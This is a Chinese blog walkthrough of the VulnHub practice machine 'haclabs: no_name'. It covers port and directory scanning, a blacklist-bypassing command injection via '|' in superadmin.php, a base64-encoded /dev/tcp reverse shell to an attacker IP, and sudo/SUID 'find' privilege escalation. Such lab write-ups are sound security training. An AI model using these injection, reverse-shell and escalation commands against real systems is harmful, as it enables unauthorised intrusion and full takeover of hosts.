vulnhub靶场haclabs: no_name

0x000 靶场描述


This a beginner level machine , getting a shell is a little bit harder, just think out of the box to get the shell.privilege escalation is easy once you get the shell.

This machine has 3 flags. Each flag is present in the Home directory of particular user. Be ready to test your Linux skills.


0x001 靶场下载


https://www.vulnhub.com/entry/haclabs-no_name,429/


0x002 信息收集


探测存活主机

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -A -p 1-65535 192.168.1.105

只有一个80端口

访问网站,看页面感觉像命令执行漏洞,尝试利用,发现不管输入什么命令都会返回一个Fake ping executed,遂放弃

目录扫描

和平常一样使用dirsearch进行扫描,扫描到一个/admin目录,访问之后没有找到可以利用的地方;

dirsearch -u http://192.168.1.105:7331 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

重新换了一个目录扫描器,扫描到了superadmin.php

gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/big.txt -t 100 -x php


0x003 漏洞利用


命令执行漏洞

尝试命令执行,经过测试,发现 | 可以绕过。

分析superadmin.php文件

查看源代码,发现对以上这些命令和符号进行过滤;但是漏掉了 | ,因此,127.0.0.1|ls 这样即可绕过

<?php
   if (isset($_POST['submitt']))
{
   	$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
   	$pinged=$_POST['pinger'];
   	$newStr = str_replace($word, "", $pinged);
   	if(strcmp($pinged, $newStr) == 0)
		{
		    $flag=1;
		}
       else
		{
		   $flag=0;
		}
}

if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre>$outer</pre>";
}
?>

使用命令执行反弹shell

shell生成网站:https://www.revshells.com/

/bin/sh -i >& /dev/tcp/192.168.1.108/9999 0>&1
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA4Lzk5OTkgMD4mMQ

127.0.0.1|echo "L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA4Lzk5OTkgMD4mMQ==" | base64 -d |bash

kali:nc -lvnp 9999 成功获取到shell

python3 -c 'import pty;pty.spawn("/bin/bash")' 切换为交互模式


0x004 提权


sudo提权

查看当前用户目录下的flag1.txt文件,提示haclabs用户的密码放在一个隐蔽的文件。。

查找yash用户创建的文件

find / -type f -user yash 2</dev/null

发现.passwd文件,查看内容:haclabs1234

切换haclabs用户登陆,查看用户目录下的文件,发现提示:sudo_as_admin_successful

sudo -l 显示当前用户的权限,发现find命令具有root权限并且不需要密码

sudo find admin -exec /bin/bash \; -quit 使用命令提权成功

find命令提权

查找具有suid权限的文件,发现了find

find test -exec /bin/bash -p \; -quit 直接使用find也可以进行提权


0x005 flag


posted @ 2022-11-23 16:15  Cx330Lm  阅读(83)  评论(0编辑  收藏  举报